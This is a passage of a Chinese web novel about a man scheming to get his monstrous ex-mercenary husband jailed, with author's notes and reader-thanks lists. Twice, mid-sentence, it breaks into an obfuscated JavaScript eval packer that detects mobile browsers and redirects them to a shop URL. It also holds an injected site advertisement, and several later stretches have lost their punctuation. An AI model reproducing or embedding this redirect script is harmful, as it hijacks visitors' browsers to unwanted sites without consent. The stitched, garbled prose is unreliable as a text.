。他愣愣地看着眼前的一切。不多时,他听见背后有脚步声向他走来。 “亲爱的,我刚刚去酒馆找你。听酒馆老板说,你被人带走了。还好,这个人现在已经死了。你不用再害怕了。” 他丈夫的声音如是说。 “旅行差不多可以结束了,我们一起回家吧。”他将手放在白唯的肩膀上。 而白唯看着在悬崖下摔死的混混,忽然之间,他有了一个想法。 作者有话要说 写饿了。 小时候巨爱吃必胜客的意大利面和千层面,谁懂。感谢在2024-08-1400:00:36~2024-08-1502:12:16期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:李有病2个;500565661个; 感谢灌溉营养液的小天使:岸月94瓶;一般通行魔法少女92瓶;风吹裙摆脚毛凌乱46瓶;玲之44瓶;剧40瓶;巧克力豆蘸巧克力酱34瓶;子瑜30瓶;月食之26瓶;不系舟、乌云乌云快走开、莫狐、我不认得了20瓶;蹦蹦炸彈~13瓶;lymst、小影、驯养、冰冰糖啵啵鱼10瓶;778瓶;超级无敌霹雳大腚、Ayan7瓶;诗逸、辞安6瓶;oraison、平雨不见闲5瓶;璃澜4瓶;天河仰波、YY、咕枯、李有病2瓶;牛紫文gh、小米、九鹿、莫提雅、小野、1oin、又菜又挑日常挨饿.jpg、Hyena、不爱了是你的谜底、桃夭、sai、怎么还不能改名、^-^、诺奇莫银、想你的余、介凉丰、呜呜呀、予鹤、欲解其中味、半夜叫喳喳、我说不言语云无归处、朗、万里松声入耳、suansuanchuchu、500565661瓶; 非常感谢大家对我的支持,我会继续努力的! 第 68 章 买私人飞机吧 第68章买私人飞机吧 “老公,你看到了吗?”白唯让自己的声音发抖,他指着悬崖之下,“刚才那个人掉下去了……” 卢森把手放在他的肩膀上。 “没关系,这里有监控。所有人都能看到,这个人是自己跳下去的。” 什么?有摄像头? 白唯让卢森去自首的想法破产了。 “他为什么会自己跳下去?” “或许是精神错乱。” 白唯终于说出了他想说的话:“不管怎么样,我们报警吧老公。否则,我可不想背上畏罪潜逃的大麻烦。” “畏罪潜逃?”卢森罕见地露出了一点惊讶的表情,“他的死和我们没有关系呀?” 白唯观察他的表情,终于从中找到了一丝端倪:“如果涉嫌凶杀案,你的档案上是会留下污点的。在那之后,你去这个世界的任何地方、任何酒店,前台都会在你入住时收到提示。” “而这,不是你想要的吧?” 白唯在那一刻,终于抓住了一根蜘蛛丝。而卢森耸耸肩,道:“好,我确实不希望我被人当成逃犯。” 他们配合调查,从警局彻底离开已经是七天后的事了。摄像头里的证据毋庸置疑,二人与混混之间过去没有联系也毋庸置疑。所以,这是一场彻头彻尾的意外。 更令人难以置信的是,警局的工作人员分明记得两年前来过这里蜜月旅行的他们。他们甚至热情地向这对异国小情侣打招呼,却丝毫不记得自己曾经给卢森办过死亡手续。 毫无疑问,卢森又曾经改过他们的认知。 白唯没问卢森为什么忽然出现在他身边。往日里,卢森至少也会给出一些他是怎么发现白唯的踪迹、怎么跑来这里的“理由”。但这次,卢森也罕见地表现出了沉默。 “明天早上飞机。亲爱的,我会在七点钟叫醒你的。”小旅馆里,卢森如是道。 白唯喝了一杯牛奶。他闭眼躺在卢森身边,直到听见对方的呼吸声消失。很快,白唯摸索着下床,像是要去厕所。 事实上,他在厕所里换好衣服,从透气窗爬了出去。他开车通往的地方却不是机场。 而是当地的公墓。 最里面的第五个,卢森就埋葬在这里。白唯知道卢森会跟过来,但这也是他的目的。他抄起铁锹,开始疯狂地挖掘。 终于,一具木质的棺材出现在白唯的眼前。在听见身后传来脚步声后,白唯咬牙用力,推开了棺材盖。 “大晚上的,你到这里来干什么呢? 有人在他身后温和道。 那个人的手指摸了摸他的脸颊,冷冰冰的,像是蛇。 “你看。你的脸都被弄脏了。 棺材里有一具尸体,尚未完全骸骨化。但很明显,这是一具更加新鲜的,不知道是哪个老人的尸体。 而不是“青年卢森的尸体。 “这个人和我同名啊?好巧。卢森在他身后摸着下巴,若有所思道,“亲爱的,你说是不是? “……嗯。白唯说。 卢森果然把最后的证据也处理掉了,他的心里空落落的。 装疯卖傻,假装卢森不是自己的老公的方案也无效了。 雨水一滴一滴地打在土地上,留下深色的印记,很快染深整片土地。泥水横流在青草之上,他们就在天亮之时,暴雨之中停滞在了机场。 飞机延误两小时。卢森弄了两杯热咖啡来,又用毛巾给白唯擦脚。白唯盯着卢森,心想他一会儿要怎么向出入境海关解释。 “亲爱的,你为什么看着我?卢森如是说。 他们之间的关系已经如此剑拔弩张。卢森明知道自己发现了他是怪物,在寻找能让他滞留那不勒斯的方式,可他竟然还虚伪地用“亲爱的来称呼他。 “你去自首吧。白唯说。 “什么? “没什么,开玩笑的。白唯若无其事地喝了一口咖啡,“老公,我只是觉得……我因为一点误会而绕了很长的一段路。而现在,我们在我们最初开始的地方,又可以重新开始了。 “这真是太好了,就像命运的馈赠一样。 他已经打定主意了。保险金可以不要了,但他要想办法把卢森弄进人类的监狱里。这段时间不会很长,但足够他跑路。在那之前,他会想办法稳住卢森,让卢森以为他对他用情至深的。 卢森愣了愣。这次他没有第一时间露出笑容。他审慎地观察了一会儿白唯,说 :“你真是这样…… 但卢森发现,他不喜欢白唯或许不喜欢他的回答。 他止住话头,正想说其他话找补一下。他们身后却传来了一个人的声音:“哟,好久不见啊。深海。 在他们身后,一个满头棕发的男人正不怀好意地对他们笑着。那人肌肉健硕发达,手臂上有一些可怖的陈年伤疤,一看就不是什么好人。 “前段日子你找黄毛和我帮你干活,然后你就回去没踪影了。我真是明白不了,雪山镇那个地方有什么好?那人说着,瞥了白唯一眼,“这你老婆? 百闻不如一见。这次里卡多算是在现实里第一次见到卢森的“老婆。在过来搭讪前,他在远处观察了他们很久。白唯坐在长椅上,又是矜持地小口小口抿咖啡,又是用酒精湿巾擦扶手。他穿着剪裁合体的蓝色休闲西装,灰色的丝绸领带打得一丝不苟。 怎么看都和他们不是同一个世界的人。原来这就是卢森要死要活也要留下的老婆。 卢森刚要皱眉头让那人离开。白唯却忽然道:“卢森,这是你的朋友还是你的敌人?我记得我们之前在意大利被人袭击过,这里很危险…… 他举手就要叫保安。里卡多却嗤笑了一声:“得了吧,现在意大利对于卢森来说应该是这世上最安全的地方了。自从那场袭击后,他把这里的仇家都连根拔起…… “我们过去说话。卢森匆匆道。 他不得不把里卡多拉到一边,对昔日战友露出了有些厌恨的表情。这下他想,他确实该和白唯有个孩子了! 他可以取下自己触手的一部分,混着白唯的基因捏一个小孩出来。这样他就可以对小孩的脑袋进行一些改造,通过小孩的眼睛在这种情况下监视白唯了。 否则白唯不就跑了吗! 到了角落,卢森立刻说:“我给你三分钟时间。只有三分钟。 里卡多:“为什么??别忘了在北都老子帮了你大忙。 卢森:“超过三分钟,我老婆就要跑了。 ……等等,你们是两情相悦的吗? 里卡多目瞪口呆,但他找到卢森当然是为了一单生意特地跑来这里。卢森是个特别好的雇佣兵,自从卢森金盆洗手之后,他就很痛苦,因为他认为只有和卢森一起才 能发大财这都是他那个黄毛雇佣兵搭档恩佐不能理解的实在没远见。 好在两个月前在北都的行动又给了他希望。卢森宝刀未老还愿意接触雇佣兵相关的任务而且他也看见了卢森的实力这件事只有他能做。 “那我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481497|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单说了你知道外乡人在寻找连环杀手名单上的人吧。他们惹怒了地下杀手组织地下杀手组织在高价悬赏他们的命。这是很多人想做又不敢做的生意毕竟不是每个人都能像你一样从他们的手里逃离。”里卡多耸耸肩道“但我要说的生意不是这个而是虎口夺食。很多人都发现一件事——当外乡人击杀他们的名单上的连环杀手时这些连环杀手的体内会有一块钻石爆出来被外乡人收集起来。” “有人看过那个钻石的成色——至少这个数。”里卡多比了个几亿的手势 卢森:“你到底想说什么生意?” “外乡人还在找两个人一个是第一杀手一个是隐藏BOSS他们是这么说的。这两个人快让他们找疯了。但这两个目标的身份——是不是一听就觉得他们的钻石准比其他人的成分还要好?”里卡多道“我有一个想法就是跟着这群外乡人在他们击杀这两个人时出现把那两枚钻石拿走——” “……” “这是很划算的大生意啊!比我们从前的任何一单生意赚得都多。而且只有你的能力能做到这件事了!只有你从他们的手底下成功逃脱过!老兄!而且你的跟踪能力无人能及!”里卡多大喊“老兄!即使结婚了也要赚钱啊!” 卢森:“三分钟到了。” 里卡多不死心追在大步流星的卢森背后:“你打算一辈子当家庭主夫吗?有没有一种可能我在网上看见你那个破民宿的广告了根本没有人过来住!万一以后你老婆想住城堡呢?你身为他的老公总该有足够的钱给他买城堡买跑车买四合院买私人飞机吧。我告诉你你小心你没有钱老婆被其他人拐跑了……” 卢森一转头就狠狠地掐住了里卡多的 脖子。 “少诅咒我。”他恶狠狠地说。 卢森卡脖子快放手也快。他快步奔回位置,却发现三分钟的功夫,白唯已经不见了。 白唯又不见了!! 在他慌张阴郁、左顾右盼中,他的身后又传来了白唯的声音:“你总算回来了?” 作者有话要说 感谢在2024-08-1502:12:16~2024-08-1603:45:49期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:兰舟的修狗、猫猫厨、加倍芝士牛奶火鸡面1个; 感谢灌溉营养液的小天使:Weeeeeel123瓶;许君安亲今天也不写文116瓶;天木仟96瓶;豆在釜中泣【呆滞jpg.88瓶;叹基生命86瓶;?????……63瓶;猫猫厨61瓶;宿星川日更一百章、拂槛露华50瓶;山35瓶;维吉尔的狗30瓶;漆年22瓶;ziemdie、时我绯20瓶;落水飞15瓶;温简言的狗14瓶;复工后、受害者体质、clz10瓶;。9瓶;超级无敌霹雳大腚、花开素颜8瓶;苏晓安6瓶;小番茄、莫里奥、无端生事且弥漫5瓶;白日做梦夜里失眠4瓶;JUNE3瓶;泥塑嬷、咕枯、龟爷爷、究惑久久、亭台楼榭2瓶;绒葙、葳雨、怎么还不能改名、小血砸、疏霓、西顾、别枝雀、sai、九鹿、哀弥夜、李有病、我爱玩以闪亮之名、21866176、世界第一鸽子精(袁基、禾风听雨、伊、想你的余、陌生的Y、呜呜呀、王花花、小白杨、介凉丰、朗、s呀b呀jj、哟哟哟、与共、小米、布灵布灵!、suansuanchuchu、又菜又挑日常挨饿.jpg、咩咩虹、不爱了是你的谜底、风和都月、天河仰波1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 69 章 回收开头 第69章回收开头 白唯白生生地站在他的身后,右手提着箱子,左手中空空如也。 他看起来只是去丢了一下垃圾。 “各位旅客,前往黑港城的航班已经开始登机……” 卢森稳定住心神。他低声道:“你没有跑真是太好了。” “为什么要跑?去登机吧。”白唯耸耸肩,而后又用悠长的语气叫,“老公。” 银白机翼划过天空。他们将离开意大利的国境线,前往两人居住的雪山镇。 杀手组织和外乡人之间的矛盾愈演愈烈,谢家和北都文化之间的商战也拉开序幕,白唯的追求者乔烨因为和谢家的交情很头疼,白尔莫斯在网上的爆火与工作室矛盾丑闻的曝光让正处于舆论风口浪尖上的短剧博主大木决定铤而走险,蹭异乡人的热度开启短剧新赛道,不甘不愿还在伺机说服卢森的佣兵里卡多,还有仍在歇斯底里着的隆夏、想要借白唯的手除掉隆夏隆春的隆冬…… 外界纷纷扰扰,而飞机上这一对充满了秘密和矛盾的小夫夫却只看见,横亘在他们之间的,只有他们的婚姻矛盾。 还有他们的婚姻二周年纪念日。卢森在飞机上如是想着。 还有两个月,他们的婚姻就将迎来二周年纪念日。 在三个月前,他满脑子都是在二周年纪念日时带白唯出去旅行。可现在看来,他不怎么确定了。 无论如何,防止白唯从他的身边逃开,都是他的首要任务。卢森如是想。 白唯也把眼睛从卢森的身上悄悄挪开,他的丈夫竟然还是个神秘的雇佣兵。 这下终于让他抓到一点卢森的过去。 他托着侧脸,思考着下一个计划。 然而他们并不知道的是,所有这一切矛盾都会撞在一起,最终以一个啼笑皆非的方式,拉开在雪山镇的这一幕戏剧的序幕。 …… “白唯,自从你离开中学后,大家都很想你。”乔敏如是说。 “我总要多花点时间在我的正职工作上的。”白唯道。 “你之前说,你明天下午要去看医生?”乔敏从面包师傅手里接过烘焙,“你身体出问题了么?” 面对乔敏的担心 ,白唯故意做出了不自然神色:“嗯……有一点小问题。 “好。乔敏没多问,每个人都有些不想说的隐私,可她还是提到了另一件事,“说起来,卢森的民宿也开业两个月了,但一个客人都没有。你们有在网上投放广告吗? ……多亏了卢森,现在镇上所有人都会询问白唯那个破民宿的事情。白唯掩住自己的表情:“嗯……卢森管之前的两个月叫软开业。 软个屁,根本没有人来。毕竟雪山镇也不是什么旅游城市。乔敏给他保留了一些面子:“哦,好的。 “我觉得根本不会有生意的。面包房师傅竟然搭话,“而且你们还弄了那么多房间。 不远处购买面包的隆春露出了同样微妙的嘲笑表情。但白唯一路过他,他就紧张得狂缩脖子。 白唯驱车回家。路上,他特意路过了镇上的心理诊所和隆家。这两个地方都曾进入过白唯用以陷害卢森的误杀目标名单。 然而,让卢森相信自己和隆春或者隆夏有奸情实在不太可能。隆夏在生日事发之后就被隆春严密地关在家里。隆春或许是自觉被白唯算计,忌惮白唯,也始终和他保持着一定的距离。在翻找之中,这家心理诊所的医生就进入了白唯的视线。 这个心理医生私生活很不检点。他从前在黑港城也工作过,那时候他诱哄一个继承了双亲遗产的少女爱上他、而后自杀,自己则根据少女的遗嘱继承了她的遗产。这件事导致他在黑港城混不下去,而后他改头换面、摇身一变,又回到了雪山镇工作。 白唯看了一会儿他手下的患者名单,确信自己也挺符合这名医生的审美的。为了让卢森怀疑他和医生出轨,白唯特意在这之前做足了铺垫。 下午五点,卢森从修车店下班。他推开门时,白唯正好把手里的信藏进饼干盒里。 “亲爱的,我回来了。卢森说。 他的眼睛盯着饼干盒看。白唯站起来说:“你回来了?晚上吃点面包吧。 “我来做饭,光吃面包不健康。卢森摇了摇手里的菜。 白唯若无其事地回房间了。下来吃晚饭时,他果然看见饼干盒有被打开的痕迹。 卢森像是一个疑似戴了绿帽子却还忍气吞声的丈夫。他看着白唯吃面条,道:“亲爱的 ,你有没有觉得最近,咱们家好像在被人骚扰? “有吗? “比如,总有奇怪的邮件和礼物出现在家门口…… “哦,那一定是有人嫉妒你新开了民宿要发财,所以来骚扰你的。白唯毫无心理压力地倒打一耙。 吃完饭后,卢森去他的手工室,白唯去他的书房。卢森阴郁地盯了电脑屏幕很久,最后得出结论:事业不成功的男人在婚姻里往往缺乏安全感。 如果他的民宿十分火爆,每天都有客来客往,镇上人满是好评,白唯一定会崇拜他,然后他也不用担心别人来骚扰白唯了! 就在这时,黄毛雇佣兵恩佐发来了消息:“老兄,告诉你一个不幸的消息。 还有什么比民宿没生意更不幸的。 “里卡多没死心。他打算来雪山镇亲自劝你,顺便看看你那引以为傲的家庭生活。而我打算和他一起去。 卢森忽然就坐直了。 “雪山镇没有旅馆。 “哈,这倒不是问题。咱们做雇佣兵的。难道每次做任务都能睡在大旅馆? “我的意思是,你们只能住在我家的民宿里。快来吧。 “啊?? 一个里卡多,一个恩佐。那就是两个房间。卢森靠在椅子上,开始做算术,非常兴奋。隔壁民宿二楼有三个房间(本来有四个,其中一个被卢森改成了活动室),一楼有两个房间和一个隔断出来的沙发床多功能室,地下室有一个房间,阁楼有一张床。 算起来就是八个房间。 也就是说,里卡多和恩佐一来,就能解决四分之一的销售任务了! 这真是太完美了!卢森喜形于色。他作为良民的职业生涯终于能开张了! 里卡多和恩佐会为他而来,这怎么不算是他的人格魅力引来的营业额呢! 卢森喜悦地从自己的手工室里出来。这时,他看见白唯站在楼梯上。 白唯看着他,表情有点欲言又止。卢森仰起脑袋,像向日葵一样热情地道:“亲爱的,你有什么要我替你做的事情吗? “呃……事情是。 其实这件事还挺出乎白唯意料的。因为按照他的计划,后天卢森就会因为谋杀或者谋杀未遂被逮捕。但他还是硬着头 皮开口了。 “我的两个朋友最近可能会来雪山镇看我。白唯说。 “哦!他们是情侣吗?!卢森在心里祈祷,可千万不是啊。 “不。一个是李愿,一个是乔烨。他们应该会分开住。 卢森更加喜悦了。这一下子就干出了四个房间! 白唯:“我们这栋屋子,只在一楼有一间客房不是吗?他们中的一个,只能住在二楼的儿童房里了…… “怎么能让他们住在我们未来孩子的房间里。当然得让他们住民宿。卢森说,“没关系,我不会收他们的钱的。 反正民宿也是用来洗钱的。 “好吧。白唯点头道。反正卢森也没办法自由活动到他们到来的时刻。 卢森:“亲爱的,我们的民宿今天一下子就开张了,而且一下子租出去了一半的房间!这真是太妙了! 白唯:? 卢森又扑到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481498|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白唯的身上。白唯没有拒绝。反正他觉得这也是最后一次了,就任由卢森把自己抱上了楼。 只是白唯没想到,想要前往他这里的人,比他想象中还要多。 姚大木是一名短剧博主,走的是生活化、亲民化的“当代青年路线,一年前红遍网络时,还狠狠拉踩了一番“伤仲永白唯。拉踩比他帅还比他家世好、学历高的同性让他扬眉吐气,非常愉快,可他没想到,就在一年之内,他的现世报就来了。 姚大木原本没有什么才华,短剧剧本全靠摘录网上的打工人段子,并且多亏了女朋友帮他洗稿。最开始这些短剧还算好笑,看多了就同质化严重,还存在抄袭跟风风波。而且他在成名之后对工作室的人颐指气使,并且渐渐地觉得自己相貌平平的女朋友配不上自己,对她横挑鼻子竖挑眼。 在几度被友商冲击后,他的女朋友因为姚大木与别的博主关系暧昧,终于忍无可忍,宣布和他分手,还爆出了他要求自己洗稿抄袭一个做“白尔莫斯短剧的中学生博主的聊天记录。姚大木猝不及防。在账务和出轨风波前,他选择了把热点转移到前女友的身上。 他开了个直播,声泪俱下地指责自己的女朋友在结婚前向他索要八十万彩礼,要不到就反咬一口分手,并且把交往期间的正常消费乃至工作室转账晒出,声称这 是“捞女记录。少部分女粉觉得姚大木被辜负,非常心疼哥哥,更多的女粉唾弃着离开了姚大木,取关加拉黑。但这对于姚大木来说,并没有什么问题。 因为他的粉丝比过去还多了。他一下子多出了几十万男粉,这些男粉纷纷觉得姚大木十分纯爱,痛心疾首,为他摇旗呐喊。 姚大木虽然以前赚了女粉很多钱,可他从来没有看得起她们过。他会点进每个女粉的账号,看见对方长得好看就私信撩骚一下,看见对方长得一般就觉得对方如此丑陋,怎么好意思喜欢他。姚大木虽然赚女人钱,但看不起女人,觉得真男人就该赚男人钱。 但很快他发现了一个现实,男人没有钱,尤其是那群他新吸引来的男粉。这群男粉在男人里都算是极其恶臭的那一拨。他们很少有人为他的视频贡献点击量,而且还会在屏幕里、弹幕里对每个出现的女性评头论足,臭味浓重,把更多的正常人观众都熏走了。 姚大木万万没想到,自己的“一步好棋又变成了“一步臭棋。他想来想去,扒出了“白尔莫斯博主生活的小镇的地址,打算依靠扒皮这个地方来再吸引一波热度。 在被联系时,“白尔莫斯 他用点话术,就让对方上了套。 作者有话要说 齐聚雪山镇,一起包饺子(不)感谢在2024-08-1603:45:50~2024-08-1701:59:42期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:李有病1个; 感谢灌溉营养液的小天使:恭喜发财100瓶;三原色80瓶;赩、平雨不见闲、竹青雨齐、隐没朱红40瓶;哑子哥、松风点墨38瓶;本无蜜36瓶;归尘35瓶;邮筒君22瓶;姣姣老婆呜呜呜呜呜、霜栖冷、平面向量有事吗、超低空飞行、ziemdie、清渡20瓶;译哲译者19瓶;白日做梦夜里失眠、迟双叶、复工后、徐戟文10瓶;超级无敌霹雳大腚8瓶;莫提雅6瓶;清清清清清、猫猫控、戏剧从不远人、时闻、是阿蕊也是阿芯、诗逸、pingbo、星衍5瓶;亭台楼榭3瓶;斋斋子、sai、许君闲乘月、咕枯2瓶;李有病、与共、介凉丰、朗、不爱了是你的谜底、下面轮到玫瑰出场、suansuanchuchu、半夜叫喳喳、小仙桔、燃愁、Hyena、我说不言语云无归处、好看小说在哪里、水木花菜、桃夭、天河仰波、哟哟哟、今天依旧没有更新呢、哀弥夜、小米、西顾1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 70 章 补更2 第70章补更2 “大老远的,谁往那破地方去啊?”收拾行李时,姚大木的生活助理如是抱怨着。她坐在板凳上,翘着腿,给自己涂指甲油。旁边几个摄影师和助理跑前跑后,小小觑一眼她。 这人说是生活助理,其实工作室其他人都知道,早在姚大木的前女友还在时,姚大木和她的关系早就不清不楚了。姚大木平日里或许会嬉皮笑脸地同她打闹几句,现在却一脸不耐烦:“你个女的懂什么,赚钱的事少插嘴。” 说着,他对美工喊了一句:“酒店订没?” 工作室的美工叫苦不迭。姚大木从前就爱叫她订酒店、订各种乱七八糟的东西,这不在她的职责范围内就算了,每次报销还要拖上几个月。可惜她忍气吞声惯了,搜了一下说:“老板,雪山镇太荒了,没酒店,倒是有个民宿……” “几星的?姚哥,没有四星我可不住。外面那些民宿多脏啊。”生活助理抱怨道。 “什么找不到?自己没好好搜呗。二十几的人了,我一个月几千工资发给你就让你干这点事,还干不好。”姚大木转头把气撒在了美工身上。 “可是……”美工委屈。 “喂,谁来帮我搬个支架!”摄影大喊。 “算了算了,滚去搬东西。酒店我自己来看。”姚大木不耐烦地把美工赶走。 他坐在椅子上,又把自己和“白尔莫斯”博主的消息记录看了一遍。他有预感,扒皮对方,拉踩对方,找到“白尔莫斯”的真面目,准能让自己的事业又上一个台阶! “大木哥,你到了那个鸟不拉屎的乡下地方,绝对鹤立鸡群啊!”摄影在路过时,不忘记拍一下姚大木的马屁。 姚大木得意一笑,摸了摸自己的发际线。 心里想着怎么对付对方,姚大木不知不觉间就忘记了订酒店。 等他想起这件事时,已经是他几天之后到达雪山镇的时候了。 …… 第二天一早,白唯送别了自己的丈夫。下午两点一到,他便脱掉围裙,开始了自己的计划,奔向了小镇上唯一一家心理诊所。 他打扮成符合心理医生审美的模样,刻意地向他吐露了自己婚姻的不幸和谋杀丈夫的冲动。他心 知肚明,这会引起对方的兴趣和征服欲。 可他没想到,现实比他计划中还要顺利。 在结束咨询后,白唯只是在诊所门口磨蹭了一会儿,便等来了西装革履地出现的心理医生韩默。 “一名专家曾说过,‘在这个世界上,即使最幸福的婚姻,一生中也会有200次离婚的念头和50次想掐死对方的想法,这都是正常的’。”韩默当着他的面解锁自己的轿车,尤其露出了他的保时捷车标,“我想你或许是因为压力太大,产生了一些不切实际的幻想,当然,这都是很正常的。尤其是,你从小生活在大城市,水土不服会加重你的症状,你应该早睡早起,多吃些能补充气血的东西……” 说着,他转向身侧的白唯,露出自以为很温暖的笑容:“上车吧,我开车载你一程,或许还来得及赶在你丈夫回家之前到家。噢,别不好意思,就当是我为了自己的迟到赔罪。我希望我们不仅是心理医生和客户,还是在生活中能相互支撑的朋友。” 白唯瞥了一眼韩默。他知道勾引人很困难,但他没想到对方的笑容竟然这么让他想吐。 无所谓,反正只有这一天了。白唯努力忍耐。 白唯没有拒绝他。他坐在副驾驶座上的模样苍白忧郁,而且脆弱,好让韩默更加相信他所说的一切都是一个无所事事的作家在编故事骗人。 这的确让韩默越发坚定了要去对方家里观察一番的想法。 只是方才隔着咨询桌,他只能看见白唯轮廓完美的脸。直到此刻韩默才嗅到,白唯的身上竟然有一股淡淡的香气。 韩默近乎三十岁的年纪,尚未成家,也没有固定的女友。雪山镇又从来没有过如白唯这般的人。 他余光瞥见白唯沉默地坐在副驾驶上,冷白手指一遍遍抚平衣摆,一副这世界上所有东西都能伤害他的模样。想到这里,他不禁有点心猿意马起来。 阴云遮蔽了夕阳,车内的小镇电台提醒,今夜是雷雨天气,进镇者需小心山体滑坡,而后便是些家长里短的广告。韩默发表了一路“补充气血以维持心理健康”的论调,见白唯始终心不在焉,决定分享点其他的来引起他的注意力。 “你听说过最近东边镇上关于连环杀手的传闻么?”韩默说。 白唯:“什么连环杀 手?” 韩默忽然将脸凑向他神秘地道:“你知道隆家生日宴会上发生的事情吗?有人把一枚血淋淋的脑袋塞进了礼物盒里……” 白唯:“啊……” 韩默:“在那之后还有人在学校操场的沙坑里挖出了一个藏着断肢的瓦罐 说的域名caixs?(请来才小 说 看最新章节 完整章节)在河边的废弃铁轨上看见了一具被绑着的躯体还有人在白天见到黑白的尸体……” 白唯:…… 礼物盒里放着的是隆夏弄出来的狗脑袋瓦罐里的断肢是人偶的手臂被唐霖放进去的废弃铁轨上被绑着的保健室模型老师则是锦欣的杰作。这俩熊孩子共同掌握了白尔莫斯的账号像军备竞赛一样在小镇上整出各种猎奇事件。 这一切白唯都清楚因为他们每次都会邀请白唯过来协助出演。至于黑白尸体不会是白尔墨尸吧。 ……没想到传闻都传成这个程度了。 但当着韩默的面白唯当然要假装不知道。他小声道:“我这几个月都不在镇子上……怎么会有这样的事情?” 韩默:“很多人都只知道这些事情是否发生但只有我知道它是因为什么而发生做出这一切的人又是谁。” 白唯:“哦……你好博学。” “我的诊所在西边。据说那名连环杀手只在东边活动。我想这一定是因为这名杀手就住在东边。” “为什么?” 白唯很难得地回应了自己。这让韩默兴致勃勃开始卖弄自己从八卦小报里学来的知识:“连环杀手会倾向于在自己的心理安全区域内犯案与抛尸尤其是步行距离以内。这会方便他返回现场观看自己的杰作。我听说前些天法官老先生在遛狗时发现了一具血淋淋的尸体。他的叫声整座雪山镇的人都能听到……” 白唯实在憋不住了。前几天那具动物尸体大概率是隆夏想办法扔过来挑衅他的。可惜他胆子太小只敢把东西扔在白唯的必经之路上。而那天白唯因为被卢森缠着起得很晚反而让隔壁的法官老先生看见了那只可怜的兔子。 雪山镇总是天黑得特别早。天色已经暗了下来却还没有到路灯亮起来的时刻。韩默就在这时听见白唯在一片阴影里古怪地笑了一声。 像是窗帘被割破了一条口子窗帘外站着拿刀的人影。 白唯说:“那名老先生是我的邻居。 “啊……啊……邻居。 “你旁边这栋,就是他们的房子。前面是我家。白唯轻声说,“我们到了。 “哦……韩默靠边停车,他如安慰自己般地道,“其实也不用害怕。你知道生活中最常见的谋杀是哪种吗?是情杀。‘每个看似完美的家庭背后,都有自己的秘密’,比如丈夫杀妻子…… “还有妻子联合自己的情夫,谋杀丈夫? 轻轻的,又有发丝掠过自己的手背。韩默青筋一紧,他转头时那股幽幽的香气又飘进了他的鼻腔。而白唯正低着头,神色冷淡地解着安全带。 就像他刚才的靠近都是一场梦。 柳溪是整座雪山镇里都很有名的一片社区。它环境优美,生活平静,任何新住户想要入住都需要一条街上的所有居民进行投票。所有过路的人只要看见每家门口的园艺,都能明白这片社区的名副其实。 譬如一路经行过来所见的整洁草坪,紫色蝴蝶兰,蓝的绣球,粉白的三角梅,以及花卉之后,那精心修葺的小房子。 除去这家。 拥拥挤挤映入韩默眼帘的,是一片片鲜艳血红的花朵。或许是因为傍晚缺少照明,这些花瓣有些发黑,像是一张张没有牙齿的嘴。血红花朵密密麻麻绵延,像是要把它身后那座庞大的房屋一起吞没。房屋埋在阴影里,尖顶指向天空。 这屋子好像恐怖故事里的小屋……即使出现在哪一幅闹鬼的画里,韩默都毫不意外。 韩默花了点时间才辨认出那些花朵都是蔷薇。他很难想象这些花是怎么长成这营养丰富的模样的。 等下,那片花墙背后……怎么感觉这面墙好像曾经被撞塌过,而且这个柱子上怎么好像有个弹孔…… “这里其实是两栋联排的房子,我丈夫把它们一起买了下来。他需要隐私。白唯从车上下来,打断了韩默的动作,“哦,很不巧,我的丈夫到家了。 韩默的目光在房屋黑洞洞的窗户里寻找。 “他在那片檐下。 韩默在看见那名黑发男人时吸了一口气。 白唯是韩默见过气质最出众、容貌最为秀美矜贵的人,像是从时尚杂志上扒下来的 学院派模特。而眼前这个男人则像是从老电影画报上走下来的高大英俊的演员。他手持喷壶显然在做园艺。他看起来在笑眼神却有些不妙。 “阿唯这是家里的客人吗?” 他说。 “我下去去看医生。天色太晚了韩医生送我回家。”白唯柔和地说。 那种让人不妙的感觉立刻消失了。 “原来是医生啊我是卢森多谢你送我妻子回家。”卢森和韩默握手笑容热情开朗让韩默怀疑刚才只是他的错觉又转而对白唯担忧道“你怎么了身体不舒服?” “去找他咨询下一本小说的素材。” “素材?” 白唯往卢森的身上贴他捉住对方的衣角眼睛水润润的“老公你今天怎么回来得这么早啊?” 那声娇滴滴的“老公”(和白唯咨询时的语气相比堪称娇滴滴)让韩默全身一激灵。白唯原本声线清冷此刻却像是故意放化了点的冰淇淋。卢森也笑了用左手刮了刮他的鼻子:“早点回家给你做饭呀我买了你喜欢吃的鱼。” 韩默:…… “对了韩医生也留下来吃饭吧?” 卢森热情开朗韩默盛情难却也存了点观察二人的心思。他被卢森从花园里带进玄关里又从玄关里被带到奉上了热茶的沙发上。卢森进厨房忙碌白唯为他介绍家中的照片墙。卢森一人完成不了分割牛排的大业呼叫白唯的昵称让他进来协助。 